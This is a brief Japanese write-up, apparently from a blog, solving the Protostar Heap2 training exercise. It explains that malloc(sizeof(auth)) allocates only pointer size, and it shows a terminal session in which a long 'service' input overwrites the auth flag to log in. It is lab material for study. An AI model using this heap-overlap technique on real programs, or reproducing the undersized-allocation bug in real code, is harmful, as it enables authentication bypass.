0,1と比較して簡単。

Protostar Heap2

struct auth {
    char name[32];
    int auth;
};

struct auth *auth;

に対して、

auth = malloc(sizeof(auth));

としてしまっている。つまりsizeof(struct auth)でなくsizeof(struct auth *)になっている。

auth->authを真にするだけでよいので簡単。

$ ./heap2
[ auth = (nil), service = (nil) ]
auth AAAA
[ auth = 0x8973008, service = (nil) ]
login
please enter your password
[ auth = 0x8973008, service = (nil) ]
service AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[ auth = 0x8973008, service = 0x8973018 ]
login
you have logged in already!
[ auth = 0x8973008, service = 0x8973018 ]